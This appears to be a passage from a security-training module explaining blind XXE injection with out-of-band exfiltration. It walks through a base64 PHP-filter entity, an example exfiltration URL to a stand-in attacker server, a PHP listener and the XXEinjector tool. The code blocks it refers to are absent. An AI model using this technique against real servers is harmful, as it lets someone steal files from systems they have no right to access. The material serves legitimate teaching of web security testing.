In this section, we will see how we can get the content of files in a completely blind situation, where we neither get the output of any of the XML entities nor do we get any PHP errors displayed.
Out-of-band Data Exfiltration
Instead of having the web application output our file
entity to a specific XML entity, we will make the web application send a web request to our web server with the content of the file we are reading.
To do so, we can first use a parameter entity for the content of the file we are reading while utilizing PHP filter to base64 encode it.
After that, we will create another external parameter entity and reference it to our IP and place the file
parameter value as part of the URL being requested over HTTP as such:
When the XML tries to reference the external oob
parameter from our machine, it will request http://OUR_IP:8000/?content=WFhFX1NBTVBMRV9EQVRB
. Finally, we can decode the WFhFX1NBTVBMRV9EQVRB
string to get the content of the file.
We can even write a simple PHP script that automatically detects the encoded file content, decodes it, and outputs it to the terminal:
So, we will first write the above PHP code to index.php
, and then start a PHP server on port 8000
, as follows:
Now, let’s get started with the attack:
Upon sending the request,we will get the request and its decoded content:
Automated OOB Exfiltration
We can use XXEinjector to automate blind XXE data exfiltration.
This tool supports most of the tricks we learned in this module, including basic XXE, CDATA source exfiltration, error-based XXE, and blind OOB XXE.
Once we have the tool, we can copy the HTTP request from Burp and write it to a file for the tool to use. We should not include the full XML data, only the first line, and write XXEINJECT
after it as a position locator for the tool:
Now, we can run the tool with the --host
/--httpport
flags being our IP and port, the --file
flag being the file we wrote above, and the --path
flag being the file we want to read. We will also select the --oob=http
and --phpfilter
flags to repeat the OOB attack we did above, as follows:
All exfiltrated files get stored in the Logs
folder under the tool, and we can find our file there: